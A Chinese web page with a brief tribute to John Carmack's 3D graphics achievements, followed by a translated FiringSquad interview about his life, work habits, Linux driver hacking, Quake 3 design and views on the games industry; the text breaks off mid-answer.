		<p>　　卡马克今天的地位主要归功于他在3D方面的成就，尤其是对3D加速技术不遗余力的倡导和传播。《雷神之锤》刚刚问世的时候，3D加速卡在人们眼里还只是一个可笑的空想而已，只有卡马克对3D技术的威力深信不疑，他为《雷神之锤》制作了一个专门在Verite显卡上运行的特别版本，画面看上去非常漂亮，可惜的是Verite显卡未能在市场上站稳脚跟。随后卡马克又采用OpenGL标准为《雷神之锤》制作了一个新的版本，使所有具备3D加速能力的显卡都能以更快的速度、更高的分辨率渲染出更华丽的图像。到了今天，一些显卡生产商在研发新产品之前甚至会先同卡马克商量一下，以确保他们的硬件可以完美地支持id出品的游戏。卡马克所作的这一切决定性地改变了显卡产业未来的发展。  </p>
		<p>　　除了3D方面的成就外，约翰•卡马克还为游戏业带来了许多其它的技术革新，例如网络代码中的客户端侦测、多重纹理、便于修改和可扩展的游戏代码、游戏内部的命令行指令……看来所有该做的都已经被卡马特做完了，可谁知道呢，也许这一切只不过是开始而已。  </p>
		<p>　　业内人士对约翰•卡马克的评价：  </p>
		<p>　　约翰•霍华德（微软公司）：“他缔造了‘死亡竞赛’和‘平移’等许多新单词。《毁灭战士》和《雷神之锤》系列是继《俄罗斯方块》以及一些早期的街机游戏之后真正触及到电子游戏艺术的精髓的作品。”  </p>
		<p>　　比尔•罗帕（Blizzard娱乐公司）：“卡马克是一位技术天才，他在自己的工作领域中一直占据着至高无上的位置，没有人可以超越得了他。那些塑造世界、富于创新精神的游戏设计师博得了我们的尊敬，而约翰•卡马克同样凭借其高超的编程技术在游戏史上获得了他应有的地位，正是他的技术令许多设计师的想法得以实现  <br /> <br /> <br /><br />            传奇程序员John Carmack 访谈实录  </p>
		<p>
				<br />            译者：Frank FiringSquad :www.firingsquad.com/features/carmack/  <br />                    John Carmack—网络游戏界的先知  <br />                    传奇程序员John Carmack对游戏看法  <br />                    GDC 2004: John Carmack谈游戏开发  </p>
		<p>              简介  <br />              Carmack 对于钱的态度  <br />              专注和灵感  <br />              顿悟  <br />              开放源码  <br />              关于Linux的其他问题  <br />              Carmack作为学生  <br />              Quake 和简洁  <br />              Id公司的下一款游戏  <br />              关于游戏行业  <br />              Id不是一个发行商  <br />              关于Trinity  <br />              三维象素和曲线  <br />              对竞争的看法  <br />              Carmack的研究  <br />              综合性问题 <br />            简介  </p>
		<p> </p>
		<p>                            </p>
		<p>            藏在幕后的人 <br />            John Carmack是一个几乎不需要介绍的人——Id  <br />            Software的创始人。该公司开创了第一人称射击类游戏，并且独立地改变了PC动作游戏的定义。从Commander  <br />            Keen到Doom，再到Quake，Carmack/id的游戏吸引了数百万玩家通宵达旦地在计算机屏幕前击退他们的对手。  <br />            去年12月底，Firingsquad和Gamers.com获得了一个难得的机会，与John  <br />            Carmack进行一次长时间的、面对面的访谈。我们利用这次机会进一步了解了John作为一个普通人——而不是一个程序员——的一面。我们还向John询问了他和Id未来的发展计划，以及他对于游戏行业的现状及其发展方向的看法。下面问题以粗体字显示，John的回答以普通文字显示。  </p>
		<p>            Firingsquad: 你今年多大？  <br />            John: 29岁。 <br />            FS: 你是否认为结婚会影响你的编程工作？  <br />            John:不。如果这样想我就不会结婚了。  <br />            FS: 那么你和Anna[Kang]通常是怎样渡过一天的？  <br />            John:  <br />            最近我们一直在搭建一些火箭模型。我接受了一次访问，有人问我在十几岁时的情况，我提到了火箭、炸弹和一些类似的物品。我想这很有趣，我喜欢这样。当然，现在您可以到互联网上说“我想要这个、这个和这个。”  <br />            他们现在拥有比我以前所用的强大得多的火箭——这些动力强劲的火箭具有每秒2000牛顿的推动力！  <br />            FS: 你和Anna会进行一对一的网络对战吗？  <br />            John:  <br />            就在昨天我们还一块玩了Apple这个游戏，Anna与其中的一个玩家开玩笑——她踢了他一脚。我当时正在与其他一些人开会，所以他们玩了一会，而她一直在逗他玩。但是当我开完会时，他们把我逼进这个家伙的房间里，让我坐下。我进行了反击，取得了一次小规模的胜利。正如我所预料的，我听到了她从建筑物的另一侧发出的诅咒声。她仍然认为另外一个家伙在游戏最后魔术般地获得了技能！  </p>
		<p>            FS: 我阅读了你在以前接受的一些访谈的内容，其中你提到了炸弹等物品。你是一个不听话的小孩，对吗？  <br />            John:  <br />            是的，现在回忆起来，十几岁时的我在很多方面就像是一个傲慢自大的小讨厌鬼。这些年来我已经逐渐成熟起来。现在回想当年，我认为当时的我表现并不好。我的意思是，尽管我很聪明——我当时已经开始编写计算机程序，但是我经常分不清是非。  </p>
		<p>            FS: 如果你需要给在自己的学校中存在像你这样的孩子的人提点建议，你会说什么？  <br />            John:  <br />            我已经清楚地知道了我想要做什么。我想要编程——我在12岁时就深知这一点。我知道，这是我想要做的，而且我清楚地知道我想要实现的目标。你不能总是说世界亏欠你想要得到的。但是的确有些时候需要为一个孩子提供一些必要的帮助。我的父母从来没有真正地了解我，因而我没有得到我想要的计算机。我为此责怪了我母亲将近十年，但是我们现在都已经淡忘这件事情了。  <br /> <br />  <br /> <br />            当时我感到非常沮丧，因为我清楚地知道我想要做什么，但是我却无法做到。人们习惯于认为：如果你想要从事计算机工作，你需要进入MIT，再到一家公司工作，成为一名工程师，遵循“公认的发展道路”。但是我从大学辍学了，随后创建了我自己的公司。我的弟弟选择了一条更加符合惯例的道路。他获得了一个学位，成为了一名股票经纪人，而这正是我母亲希望他做到的。他干得不错，但是并不能像我一样拥有很多辆法拉利跑车来让父母感到自豪。  </p>
		<p>            我现在可以说，我和我的母亲现在相处得很好。我们可以讨论这些事情和回忆过去，她意识到她在某些方面犯了错误。但是这有什么用？她不会再抚养别的孩子。  </p>
		<p>            Carmack 对于钱的态度 <br />            FS: 你现在已经非常富有——这对你有什么影响？  <br />            John:  <br />            我现在拥有的财富足以让我无需再继续工作；我的确不需要再工作了。这种自由的感觉非常好。因为只要你拥有足够的钱来维持你的生活，你就不必听命于任何人，也不需要想法设法赚更多的钱。尽管有很多人已经非常富有，但是他们仍然屈从于拥有更多财富的诱惑。  </p>
		<p>            我基本上拥有我所需要的一切。我已经拥有足够的财富来维持我自己和我的家人的正常生活，因此，没有任何人、任何公司可以对我产生严重的影响。  <br />            FS: 是否存在一些领域，你认为你可以利用你的财富施加影响？  <br />            John:  <br />            我尽量不像这样考虑问题。在推动其他事情方面，我尽量做到不要太主动。我希望直接解决事情的技术方面的问题。当然我可以用钱来解决一些事情，但是我更希望用直接的方式解决问题。  </p>
		<p>            这就是为什么我不是一位很好的经理。我是一位工程师，所以我想要直接解决问题。我希望把环境建立一起，以便更好的解决问题，尽管在很多情况下我意识到还需要完成更大规模的项目。但是这并不是只有我才能做到的。  </p>
		<p>            我非常擅长这个领域的工作，而且恰好我很喜欢它，因而我并不想转到其他的领域。我的财富足以让我提前退休，但是我喜欢我现在的状态。  <br />            在这方面我很反感某些公司的做法。一些创始人原先是非常出色的工程师，但是现在成了他们的部门的主管，因而主要从事管理工作，而不是工程项目。同时，他们所管理的大部分员工在处理实际工作方面远远不如他们当初的水平。  </p>
		<p>            我希望这样的事情永远不要发生在我身上。我希望永远处于行业前沿，从事实际的开发工作。当然，回到幕后阅读资料、研究理论和获得更加广泛的视角也会带来一些好处，但是如果你不了解开发的具体细节，例如工程项目与真实世界的联系，你就会变成一个只会夸夸其谈的理论家。你可以从理论家的所作所为和一个从事真正的开发工作的工程师的工作之间看到这种巨大的差别。  </p>
		<p>            在过去的两个项目中，我的时间被分成了几段。我有大约三个月的时间进行纯粹的理论研究。我目前正处于这个阶段，在这期间我需要与不同的人进行合作。随后我将用大约16个月的时间从事项目的开发工作。更多的关注研究性质的工作对我来说相当重要，但是我并不希望将我的大部分时间用于理论研究。我认为，研究的关键在于找出一种新的方法，但是当您想要真正地采取行动时，仅仅拥有这些理论知识是远远不够的。  </p>
		<p>            专注和灵感 <br />            FS: 你对工作的专注让人惊叹。看来你是唯一适合现在这项工作的人。  <br />            John:  <br />            专注非常有用。在现在这个环境中，我认为软件是一种几乎最理想的介质。但是如果不做这一行，我可能会成为一名工程师或者某种意义上的科学家。我可以从事任何一种“硬科学”。  </p>
		<p>            软件具有很多与众不同的优点。从事物理试验的研究人员需要用一年的时间进行准备和制作工具，然后还要花一年时间来分析试验结果。但是在开发软件时，你可以立即看到运行结果。你只需要坐在那里对程序进行反复的调试。你可以立即运行程序。对于所有智力探索活动来说，这是最容易适应的工作方式。我很庆幸自己生活在这个软件业非常繁荣的时代。  <br /> <br /> <br /> <br />            我再次想起当我还是一个年轻人时，我没有我想要的计算机。我感到非常沮丧。我觉得我“正在错过一个很好的机会”。我觉得自己应当编写这些游戏，例如早期的Apple  <br />            II游戏。我之所以感到由衷的沮丧，是因为我觉得自己错过了最佳时机。当然当时我并不知道我可以抓住“下一个”最佳时机。  <br />            你读过Steven Levy写的《黑客》吗？  <br />            FS: 读过，这本书非常棒！  <br />            John:  <br />            我在十几岁的时候读了这本书。在看到第三章时，我感到“天啊，这才是我应该做的！”大约10年以后，我回想起来自己当时的想法：“如果那本书有第四章，也许我会加入那个行业。”这是一个非常有趣的想法。  </p>
		<p>            现在看这段经历会觉得很有意思。当我是一个年轻人时我觉得错过了自己的最佳时机。因为当时是PC的早期发展阶段的黄金时期，我为自己没有抓住那次机会深感遗憾。  </p>
		<p>            FS: 你是否认为编程工作和将想法转变为程序代码的过程激发了你对编程的兴趣？或者是你在Apple II和PC发展早期所玩的某些游戏？  <br />            John: 我可以说出我当时非常喜欢的游戏的名字，但是我真正喜欢的是进行抽象的编程。我喜欢这项工作的很多独特之处。  <br />            很多人加入游戏行业的原因就是他们喜欢游戏，而且乐于创新。  <br />            我对编程的热爱则来自于一种更加抽象的感觉。我可以从为Linux编写设备驱动程序中获得很大的乐趣。我还喜欢编写数据库管理程序或者其他程序，因为在开发过程中总是会遇到一些有趣的问题。有些事情可以给我带来更多的满足感。图像和游戏很可能是编程工作中最能给人带来成就感的领域。  </p>
		<p>            FS: 为什么呢?  <br />            John:  <br />            因为你可以得到非常形象的反馈信息。当你编写一个图像算法时，它可以为你绘制一副图片。尽管数据编程会通过其他的方式给人以满足感，但是人类显然对可视的对象和必须通过符号理解的事物更感兴趣。这是图像编程极具吸引力的基本原因。但是我们必须进行很多方面的研究。我喜欢这项工作的所有领域，但是游戏开发总是会让你在克服一些极具挑战性的问题之后才能领会到它给你带来的满足感。  </p>
		<p>            我在早期很喜欢RPG游戏，例如Ultimas，Wizardrys和所有类似的游戏。我为Apple  <br />            II开发的一些非常早期的游戏基本上就是Ultima的翻版。我还喜欢所有的经典决斗游戏。  <br />            顿悟 <br />            FS:  <br />            从某种意义上说，你是否认为“龙与地下城”是你所希望看到的、带有一定的文字和对话的游戏模式？它是否像Quake引擎一样，是一种可以在其中添加各种内容的游戏结构？  </p>
		<p>            John: 它就像是能够从头开始开发新的游戏，使用一种对你没有任何限制的方法。  <br />            事实上，我们最初打算将Quake开发为一个RPG游戏——并不是一个完全意义上的RPG游戏，而是一个奇幻游戏。但是因为Quake的复杂的开发流程，它后来的发展完全偏离了这个轨道。我一直非常愿意说明我们在刚开始时对我们所开发的游戏制定的目标。尽管它们成为了与我们的目标截然不同的游戏，但是我很满意最终的结果。我们不大可能在开发一款奇幻/角色扮演游戏。  </p>
		<p>            FS: 我听说你减少了你对“龙与地下城”的管理工作。  <br />            John:  <br />            从Wolfenstein开始，整个公司都在每个周末玩我们所开发的游戏。玩游戏的时间在我们开发Doom阶段有所减少。我们去年纯粹为娱乐开发了几款游戏。但是它花了我们不少时间。要完成出色的工作，你必须用一天时间玩游戏，再用一天时间准备，但是我现在不可能再为其他的工作牺牲20%的时间。  </p>
		<p>            FS: 你有一种特别的专注和灵感——你可以怎样改进一个算法或者技术。你多久会遇到一次这样的顿悟？  <br /> <br />             John:  <br />            我认为很多人都过于强调顿悟的重要性。顿悟的确很重要，但是只有在你清楚地了解一项工作的来龙去脉之后获得顿悟。事实上，很多出色的工作并不是顿悟的结果，而是辛勤工作的结果。很多人都误以为顿悟是最重要的。有时候它的确是，但是在95%的情况下它仅仅是你对你所掌握的知识的冷静分析的结果。  </p>
		<p>            让工作成功的关键并不是一个天才的决策，而是500个明智的选择。更加重要的是始终做出明智的决策。制定一个天才的决策和很多平庸的决策还不如在整个过程中始终制定比较明智的决策。你必须要做出很多正确的决定。  </p>
		<p>            即使在开发完Quake  <br />            3之后，我的任务清单上仍然有数千个有待进一步改进的细节。因此，关键在于了解所有必须完成的工作，进而找出“最有效的击球点”。例如“这些工作可以完成大量的任务，但是会带来一定的副作用。”或者“完成这项工作可能需要几天时间，但是它会让其他一些环节变得不太稳定，因此我不会去做这项工作。”  </p>
		<p>            我当然希望遇到顿悟——当时我可能正在做某项工作，忽然间意识到可以采用一种更好的方法。这的确非常有用，但是我不能指望这种情况每天都会发生。实际上比较常见的情况是，当我回到家里时我可以告诉Anna：“今天我想出了一个新主意！”这种情况相当常见，而且非常有用。  </p>
		<p>            开放源码  <br />            FS: 很多人都认为你是全世界最出色的游戏工程师之一。你认为在今后几年中，这个世界上是否还有足够的任务和深度来让你保持足够的兴趣？  <br />            John:  <br />            当然，还有很多难题需要解决。目前，我正在利用我的很多闲暇时间开发一些基于Linux平台的程序。我已经完成的一项工作是为Linux编写两个3D驱动程序，即在这个平台上进行大量的编程。作为一名开发人员，这对我非常有用，因为我做了大量高层次的、API级别的编程工作，但是我应当继续深入到系统底层。通过开发设备驱动程序，编写一些深入到硬件内部的部署级程序可以开阔我的眼界，让我可以从整个流程的角度看待各项工作。有很多程序员只知道顶层的开发方法，而不知道程序工作的基本原理，这主要是因为他们无法“看到”系统的内部结构。  </p>
		<p>            我正在考虑着手的另外一项工作是(因为我喜欢清楚地从最高层到最底层的所有技术细节)花一些时间开发我自己的网络堆栈，以便进行研究和学习。我还做了一些我想要尝试的试验，以便在串行驱动程序和分组驱动程序的层次上了解操作系统实际上为路由时间和排序所支出的开销。我希望从我们通常用于通信的协议层下面获得一些信息。  </p>
		<p>            FS: 仅仅是在Linux平台上，还是也包括Windows和Mac平台？  <br />            John:  <br />            关键是在Linux平台上开展这些工作更加方便，因为你能够获得你所需要的所有信息。尽管Linux还不能取代Windows成为主流的桌面操作系统，但是它的确具有一些独到之处。  </p>
		<p>            吸引我这样做的原因是有人为Matrox显卡编写了一个Linux驱动程序。我对它进行了测试。显然它不能兼容Quake  <br />            3。因此我决定将它下载下来仔细研究。我对它的出色的工作机制留下来深刻的印象。尽管它的速度不快，但是它几乎可以说是一个功能齐全的、高质量的程序。但是它在纹理的交换方式方面存在明显的缺陷。他们交换的是最近使用的纹理，而不是最少使用的纹理，因而你可以在屏幕上看到明显的失真。  </p>
		<p>            我很清楚它的工作方式，因而我想“太好了，它提供了源代码。”因此我决定下载源程序、进入CVS库和所有文件，按照我的想法改进代码，发现程序缺陷，并将其消除！整个过程非常明确。  </p>
		<p>            由此得出的结论是，Apple的驱动程序曾经也存在相同的缺陷。因此我们可以在两个驱动程序中发现相同的缺陷，但是对于Linux程序来说，我可以直接进入源程序，消除这个缺陷。尽管在很多层次上仍然存在不少障碍，但是具备这种能力非常重要。从根本上说，如果你在使用一个源码完全开放的系统时遇到了一些问题，你可以花时间自行解决这个问题。你不需要等待别人的帮助。你不需要低声下气地寻求帮助，也不需要等待补丁发布，而通常这样做会降低时间的利用效率，但是如果某个问题真的让你头疼不已，你可以直接查看源代码，解决这个问题。这会让人感到非常振奋。 <br /> <br /> <br />             关于Linux的其他问题 <br />            FS: 这就是你对待问题的态度——亲手解决问题。你并不想等待别人来发布一个升级程序，而是愿意自己动手。  <br />            John:  <br />            是的，这就正是为什么在我对网络或者其他问题进行研究时，我更愿意使用Linux平台。如果需要，你可以取出操作系统的某些部分，告诉自己：“好的，现在我想要把这一部分完全删除，因为我想要做一个试验。”你可以获得自由发挥的空间。  </p>
		<p>            我认为，在未来几年中，软件的可用性将日益得到重视。有很多经济趋势与此有关。你将看到价格低于500美元的PC和90美元的Windows使用许可。如果人们只想执行一些非常基本的任务，他们很可能希望获得一个免费的操作系统。  </p>
		<p>            Linux界有很多疯狂的支持者，他们的观点有时缺乏足够的理性。但是，在关于Linux的实际优势的宣传中的确存在着一些真实情况。  <br />            FS: 你很关注技术，而且你鞭策自己不断进步。但是你是否考虑过找一个上司来帮助你学习新的技能？  <br />            John:  <br />            我知道在某些工作上聘请管理人员可以带来很多好处。我们在第三季度末聘请了Graeme来帮助我们管理部分业务。但是它并没有对我的工作方式产生实际的影响，因为Graeme还没有蛮横到干涉每项具体的工作。事实上，我自己对工作的安排往往好过大部分管理人员给我制定的工作计划。  </p>
		<p>            我也意识到了我的个人组织能力的局限性。我会将几千件事情放在我的任务清单上，而且常常是从头开始对所有事情进行排序。我的确认为如果有个人的主要工作就是确保我知道和了解所有这些任务的重要性就好了，因为每个人的组织能力都存在一定的不足。你自己可能不会这样做，但是有些事情就是因为你一直不愿意去处理而最终泡汤。我已经意识到了让某个人帮我安排工作的好处。  </p>
		<p>            最近我在找一个人来对一些程序——尤其是Linux驱动程序——的OpenGL性能进行兼容性测试。我为此编写了大量的程序，我也尽量设法将这件事负责到底，但是我知道我需要采取多种方法来实现我的目标。我希望编写一个完美的程序，但是我也深深意识到，在我的有限的时间里，我不可能做到面面俱到。  </p>
		<p>            有时候有一个专门负责帮助你的助手会带来很大的方便。但是这对我来说仍然只是一个理论上的问题。我相信这样做会有所帮助，但是还没有看到实际的效果。  </p>
		<p>            Carmack作为学生  <br />            FS: 出了组织能力以外，能否将一位管理人员视为老师？你觉得可以从谁身上学到对自己有用的知识？  <br />            John:  <br />            实际上，我几乎向每个人学习。这是十几岁时的我和现在的我的主要区别之一。当我十几岁时，我的想法是：“我比我周围的人都聪明，因此我完全不用理会别人说什么。”我在大学的几个学期中都是如此。现在回想起来，我觉得我采用了错误的处世方法。是的，也许我的确比教授聪明，但这并不意味着我不能从他身上学到对我有用的知识。  </p>
		<p>            现在我的处世方法是，我愿意向与我一同进行编程的任何同事身上学习知识。我很珍惜我与Brian  <br />            Hook一同工作的时光。我从他身上学到了一些更好的C语言编程标准和如何更加严格地使用struct和const——而我过去并不这样做。这对我非常重要，因为我通过他提高了自己的技术水平。另外还有Graeme——我看到他从Java库中迅速地找到自己所需要的信息——而我往往是从头做起，到处查找这些信息，因而花的时间比他长得多。  </p>
		<p>            某人并非要成为一个“更好的”开发人员或者程序员才有值得你学习的知识，这是我在过去10年中获得的一个非常重要的经验。到处都有值得你学习的知识。如果你拥有正确的学习态度，那么把自己放在一个信息丰富的环境中会对你很有帮助。如果你想从任何地方获得你想要学习的知识，而不是寻找一个将所有信息都集中到一起的有用信息  <br />  <br />             “宝库”，你必须能够从你所能接触到的任何地方搜集对你有用的信息。  <br />            在开发Quake的过程中，我们聘请了Michael  <br />            Abrash。我为此激动不已，因为我曾经通过他以Dobbs博士为笔名发表的很多文章中学习了大量基本的PC编程技能——包括汇编语言和图像编程。因此我对能够于他合作感到非常高兴。我从他那里又学到了很多知识，但是有趣的是，我有一阵子感到非常不舒服，因为他在编程方面对我非常顺从。Michael的知识非常渊博，但是我的长处是学习新知识的能力很强。 <br />            因此，我几乎从我合作过的所有程序员身上都学到了很多知识。  <br />            FS: OK，你刚才提到从周围搜集有用的信息。你怎样看待非技术性的信息来源——例如书籍和电影？  <br />            John: 我这几年来最喜爱的书是由Vernor Vinge撰写的《A Deepness in the  <br />            Sky》。在电影方面，我不知道我所说的是否有参考意义。我欣赏了大部分好看的电影。《玩具总动员2》非常出色——我很喜欢这部电影。  <br />            FS: 《黑客帝国》呢？  <br />            John:  <br />            《黑客帝国》非常精彩。我喜欢所有精彩的科幻、动作和类似的电影。我不是很喜欢意义深刻的电影。我看电影的目的纯粹是为了娱乐。有些电影实际上改编自我们开发的游戏。我们的游戏相当于计算机游戏界的施瓦辛格电影。  </p>
		<p>            Quake 和简洁  <br />            FS: 你认为人们为什么喜欢Quake 3?  <br />            John: 我们希望通过Quake  <br />            3达到的目的就是让你可以在玩游戏时全身心地投入其中。对于华丽设计或者其他特点的吹嘘，以及试图在游戏上强加一个传奇或者故事的做法毫无意义。一个游戏的真正价值在于让你在玩游戏时感到有趣。关键并不是击败游戏对手或者完成某项任务，而是要让战斗真正有趣。  </p>
		<p>            必须有些让你想要采取行动的任务。人们不会因为玩垒球游戏而真的去玩垒球；必须有一个本身很有意思的战斗。我认为我们在这方面做得不错。我们期望，并且的确从我们的拥护者那里得到了大量的反馈信息。  </p>
		<p>            肯定有些玩家希望玩更加复杂、更加具有挑战性的游戏。对于游戏来说，这是一个可行的发展方向，但是它可能会导致游戏内核的发展停滞不前。你可以在玩飞行模拟游戏时体会到这一点，因为这些游戏要求你在开始游戏之前阅读漫长的使用手册。而在过去的飞行模拟游戏中，你要做的就是跳进飞机、起飞和射击。这些游戏可以给玩家带来真正的快乐。而在有些严肃的模拟游戏中，你必须让自己相信你真的达到了娱乐的目的。  </p>
		<p>            也可以像这样来开发第一人称射击游戏，即要求玩家了解现在发生的情况，各种工具的使用方法，以及各种战略等——而玩家并不想要知道这些，他们希望的只是坐下来玩游戏。也许有很多人喜欢这样的游戏，但是我并非如此。我没有时间学习游戏的各种知识。我从来不玩那种需要学习大量复杂的知识的游戏。我只喜欢玩一些简单的、迅速上手的游戏，它们让我可以立即进入游戏，享受一段美好时光。我认为与我一样的游戏玩家是上面那种喜欢复杂游戏的玩家的五倍以上。 <br />            FS: 你最近一次玩超过2小时的、非id出品的游戏是什么？  <br />            John: 很可能是Nintendo 64平台上的F-Zero X ——一款赛车游戏。  <br />            FS: 你是否考虑过开发一款赛车游戏？  <br />            John: 我们曾经在推出Wolfenstein 之后讨论过这个问题。  <br />            当时我正在研究一些三维象素-landfield技术，我们制作了一些汽车行驶的简单演示。但是我们从来没有采取任何措施来将这个想法付诸实施。但是如果我们真的开发一款赛车游戏，那肯定也属于非常有趣的赛车类游戏——例如F-Zero游戏，而不是非常严肃的赛车模拟游戏。这里我要再次指出，游戏界有很多有效的发展途径，但是我有我自己的个人爱好。我的爱好恰好让我们既可以开发出成功的游戏，又可以让游戏具有我所认为的真正的娱乐性。  <br /> </p>
		<p>
				<br />            Id公司的下一款游戏  <br />            FS: 你认为你的个人爱好并不是开车，而是火箭发射器？ <br />            John:  <br />            游戏的目的就是娱乐。模拟游戏从来没有让我获得愉快的感觉，包括飞行模拟、赛车模拟和所有类似的模拟游戏。我知道它们在某些方面具有一定的娱乐性。它肯定不会像我说的：“这些游戏非常枯燥，所有人会喜欢它们”。但是，它们并不是我喜欢的游戏类型。  </p>
		<p>            在我刚刚喜欢上RGP游戏时，我的生活因为其他一些事务而变得越来越忙碌，因而我没有很多时间用来玩游戏。我一直都很喜欢简单的卷轴游戏。尽管从Gauntlet到Quake  <br />            3，它们已经发生了很大的变化，它们的基本理念仍然没有改变——你需要四处奔跑、打败敌人、拾起武器、及时进入下一关。这是一个从根本上非常有效的、核心的、首要的游戏元素，我对将相对较为类似的游戏(例如Quake、Quake  <br />            2和Quake  <br />            3)制作成具有不同风格的游戏并不觉得有什么不好。就像总有人玩赛车游戏和飞行游戏一样，现在也总是会有各种各样的第一人称射击游戏。我认为我们的每个项目都得到了重要的收获。我们的下一个游戏可能会采用一种完全不同的方式，因为并不是公司中的每个人的想法都与我一样。因此下一次我们可能会稍微改变一下我们的策略，但是我们还没有做出最终的决定。  </p>
		<p>            FS:它仍然是一款第一人称游戏吗？ <br />            John:  <br />            它很可能仍然是一款第一人称游戏，但是它不一定是一款动作游戏。Graeme和我一直在讨论很多游戏的设计创意，并且探讨了我们目前拥有的各种选择，但是我们还没有准备好讨论任何细节。它很可能是一款第一人称游戏——这几乎是肯定的。  </p>
		<p>            FS:  <br />            我刚才在想，如果id进入RTS或者其他类型的游戏领域，可能会出现非常有趣的情况——这就像Blizzard从RTS转向开发动作RPG一样。 <br />            John:  <br />            我不是一个真正的实时战略游戏玩家。实际上，我从来没有真正坐下来玩过一款SLG游戏。这不是我喜欢的类型。它与第一人称游戏完全不同——后者是最有现场感的游戏。  </p>
		<p>            实时战略游戏是最没有现场感的游戏之一。你只是指挥你的军队，而不是你自己在游戏中冲锋陷阵。我想我们还是会继续开发第一人称类游戏。从第一人称游戏转向第三人称游戏只是一小步，但是我认为肯定有其他一些公司更加擅长开发第三人称游戏，例如那些在开发指挥战略方面更具实力的公司。 <br />            与游戏行业的很多人不同，我并没有在计算机上制作电影的想法。而正是这种想法导致了很多公司陷入困境。有些游戏设计人员认为他们是导演，而我认为你应当摆正自己的位置。我只是一名游戏设计师，而不是一名电影导演。这也是促使很多公司转向第三人称游戏的原因。第三人称显然更适于显示人物动画这样的特效。Steed肯定希望开发更加重视动画的游戏，但是这可能并不是我们的下一款游戏的开发重点。我们还没有最终决定，但是我肯定将继续开发第一人称游戏。 <br />            关于游戏行业  <br />            FS:  <br />            你把在计算机上制作电影视为“很多公司陷入困境的原因”的说法很有意思，因为有很多3D显卡公司——例如3dfx和Nvidia——实际上将“把好莱坞引入台式机”作为他们的宣传重点。  </p>
		<p>            John: 这个现象存在很多有趣的问题——  <br />            一个是以最高的质量发挥今天的3D引擎的威力所需要的人力正在迅速接近好莱坞所需要的电影布景人员的数量。就像现在，Quake  <br />            3远远没有真正地达到我们所能制作的视觉效果的最高水平，但是只有这样我们才能保持足够快的开发速度。  <br />            但是如果有人根据这个圣诞节推出的产品了解了今年的技术水平之后说：“我想要制作出视觉效果最惊人的、最接近电影的游戏”，那么他可以制作出远远超过人们目前所看到的视效水平的游戏。相关的技术都是现成的。这就是过去一年中游戏行业的发展趋势，尤其是一些特殊的效果，例如各个层次的完全纹理渲染，需要场景设计人员加入进来，以不同的方式设计他们的场景，以及利用模型构建所有这些特效。这样的努力现在可以被用在计算机游戏中。而过去并不是这样。  <br /> <br /> <br />            在我们开发Doom和Quake时，我们并没有能力投入如此多的人力。如果你需要设计一个房间、一条走廊和另外一个房间，你应当采用的方法是：走廊、模块、模块、天花板。这就是你所能做的一切，因此我们所能开展的工作受到了严重的限制。  </p>
		<p>            FS: 你总是支持以规模较小的团队开发游戏；这是否意味着孩子们可以在自家的车房中和伙伴们一同开发游戏？  <br />            John:  <br />            我们还没有充分地发掘出所有可能的游戏种类。很多人在很多方面对游戏行业有所不满，而事实上的确很多发行商并不喜欢发行创意新颖的游戏。来自Definition  <br />            6的Chris Hecker  <br />            一直在用多种方法推广物理游戏；他开发了一些新奇的游戏。他所开发的游戏使用了一个新颖的创意。他还制作了一个简短的游戏演示。这个游戏将物理作为它的核心原理，但是它并不是像“让我们将物理加入一个第一人称设计游戏”一样。它是一个非常独特的游戏。它采用了一个很好的游戏设计，而且与物理学密切相关。但是发行商对它一点都不感兴趣。  </p>
		<p>            这的确非常糟糕，但是与此同时，我们也可以从其他一些事情上看到一些积极的迹象，例如有些人通过在互联网上销售他们所开发的一些简单的小游戏而赚了大钱，例如每年通过被下载的游戏获得几千美元的收入。我对此感到非常振奋，因为我们可以清楚地看到，有些人可以通过开发主流之外的游戏赚钱；这种情况因为互联网而成为了可能。  </p>
		<p>            我们在公司创建早期以共享软件的形式获得了成功。通过最初的Keen三部曲，我们每年的收入达到了10万到15万美元。通过第二个三部曲，我们每年借助共享软件获得的收入达到了50万美元。这还是在我们进入正式的商业销售市场之前。现在看来可以比当时做得更加出色。这的确很有意思。但是由于货架上需要占用成本费用和货架空间，发行商并没有兴趣发行创意新颖的游戏。我确信肯定有一些新的游戏种类正准备崭露头角，但是面临着一些阻力。  </p>
		<p>            Id不是一个发行商  <br />            FS: 你对Halo感兴趣吗？  <br />            John:  <br />            我看过它的影片；看起来非常出色。现在的问题是无法根据屏幕截图来判断一个游戏的好坏，因为任何一个不够胜任的渲染引擎都可以渲染某个特定的场景。关键在于各个对象能否无缝地连接到一起。Bungie拥有很多杰出的游戏设计人才。他们从事游戏行业的时间和我们差不多。他们很多年来就像是id在Mac平台上的影子。但是现在他们已经走在了前面，并在PC平台上取得了一些重要的成果。他们表现得非常不错。  </p>
		<p>            FS: 再回到开创新的游戏种类和来自发行商的阻力的话题，你是否有兴趣帮助推广新的游戏种类，例如提供一些资金来发行这些游戏？  <br />            John:  <br />            我肯定不想成为一个发行商。Id内部就这个问题讨论了很多年。五年以前，所有的游戏开发公司都希望成为发行商，因为当时有很多小型发行商。后来这些小型开发商逐渐被合并为少量大型发行商。我们就这个问题讨论了很长时间，而且我们自己发行了最初的Quake共享软件，但是当与发行商达成协商之后，我们很可能损失了一些利润，因为发行商的业务管理往往相当糟糕。但是最后所有人都达成了一致意见——尤其是在我们看到很多发行商的合并和倒闭之后——做一个开发商比做一个发行商好得多。因为软件开发商是这个行业中比较清楚的部分，你只需要交付CD，再通过邮件接收支票。但是，作为一个发行商，你需要处理行业中的很多你根本不想接触的混乱部分，例如代理商在取走并售出你的产品之后付费等。我一点也不想接触这方面的业务。  </p>
		<p>            FS: 或者利用你的影响力来说服一些发行商，你知道，也许你应该利用这个机会。  <br />            John:  <br />            我不会投入太多。我会对这样的事情临时发表一些意见，但是我不会对一些我知道没有足够的时间和精力来努力的事情提出承诺。事实上，这对于我保持对主要工作的专注非常重要。我愿意不去理睬大量的琐事。这一点非常重要，因为如此多的事情都可能需要占用我的时间。可以从很多面临类似处境的人的生活中看到这样做的重要性：整天都有人不停地找他们，从而使得他们无法开展任何工作，因为想要达到某个目的的人会给他们拨打电话和发送电子邮件——对他们进行访问，或者请他们提出一个业务建议。  <br />   <br /> <br />            有时候我会因为没有完成更多的工作而感到内疚。尤其是在即将到来的一年中，有很多不同的硬件设计工作需要完成，而且每个人都没有一个明确的发展方向。我告诉自己，我应当参与到开发工作中，帮助所有人达成一致意见，因为我的地位使得我比较适合扮演这样的角色。微软在很多方面很乐于听从我的建议，很多硬件公司肯定也愿意这样做。他们对我存在一定程度的尊重。但是在开发Quake  <br />            3期间，我没有时间来从事这方面的工作。  <br />    